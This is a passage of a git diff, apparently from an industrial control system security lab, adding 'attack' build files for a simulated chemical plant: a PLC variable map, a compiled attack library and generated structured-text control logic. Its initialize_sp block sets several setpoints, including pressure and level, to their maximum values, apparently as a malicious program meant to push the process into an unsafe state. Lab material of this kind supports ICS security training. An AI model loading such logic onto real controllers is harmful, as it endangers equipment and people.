+350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := 